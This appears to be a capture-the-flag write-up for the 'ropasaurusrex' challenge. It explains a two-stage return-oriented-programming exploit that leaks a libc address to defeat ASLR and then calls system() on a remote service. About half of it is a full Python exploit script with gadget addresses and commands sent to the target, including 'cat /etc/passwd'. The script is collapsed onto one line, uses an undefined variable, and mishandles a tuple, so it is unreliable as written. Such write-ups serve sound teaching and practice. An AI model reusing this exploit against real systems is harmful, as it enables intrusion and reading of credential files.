This is a very simple network service which will overflow a stack buffer if you send it too much data. The stack is non-executable, which we can get around using Return-Oriented Programming (which is pretty much given away by the challenge name of course). Then the only tricky bit is that ASLR is enabled, which means that libc (which contains all of the interesting functions like system()) will be at a different address each time we connect.
Our solution is to exploit the binary in two stages. The first stage will write four bytes containing the address of __libc_start_main (this information is stored in the GOT) to the socket. The exploit will use this to calculate the base address of libc, and then use that to calculate the address of system().
The first stage will then patiently wait for us to send it some more data, and when it receives data it will set esp to the start of that data and return. This allows us to send a second-stage ROP payload. Another technique is to simply return back to the vulnerable function, but our trick is more universal I think (popebpret and leaveret gadgets are always easy to get).
Since we know the address of system() and we know the address where the second stage is being written (since we chose the address!) we can just call system() on a string of our choice. That’s game over 🙂
The exploit (note, this has been cleaned up slightly without testing it again, so let me know if I screwed it up):
import socket import struct def rop(*args): return struct.pack('I' * len(args), *args) s = socket.create_connection(('188.8.131.52',1025)) # GOT entry containing address of __libc_start_main libc_main = 0x08049618 # writable address, somewhere in .bss writable = 0x08049628 + 500 # gadgets write = 0x804830c read = 0x804832c pop3ret = 0x080484b6 popebpret = 0x080483c3 leaveret = 0x080482ea # equivalent to 'mov esp, ebp ; pop ebp ; ret' # offsets in libc (without relocation) libc_system = 0x0039450 libc_start_main = 0x0016bc0 print "exploit running" # send overflow and first stage ROP payload s.send('A' * 140 + rop( # leak address of __libc_start_main write, pop3ret, 1, libc_main, 4, # read second stage ROP payload read, pop3ret, 0, writable, 1024, # stack pivot into new ROP payload popebpret, writable, leaveret, )) # receive leaked address of __libc_start_main tmp = s.recv(4) addr = struct.unpack('I', tmp) print "__libc_start_main at %08x" % (addr,) # calculate address of system using the leaked offset libc_base = addr - libc_start_main system = libc_base + libc_system print "system at %08x" % (system,) # second stage ROP payload buf = rop( # new value of ebp, doesn't matter 0xdeadbeef, # call system on a string that is appended to this stage system, 0xdeadbeef, writable + 4 * 4, # length of this stage ) # argument for system(), only the last string really matters buf += ' ; '.join([ "pwd", "ls -al /", "cat /etc/passwd", "find /home", "cat /home/ropasaurusrex/key", ]) + "\0" # send it s.send(buf) # print whatever comes our way while True: tmp = s.recv(ln) if not tmp: break print "RECV: %r" % tmp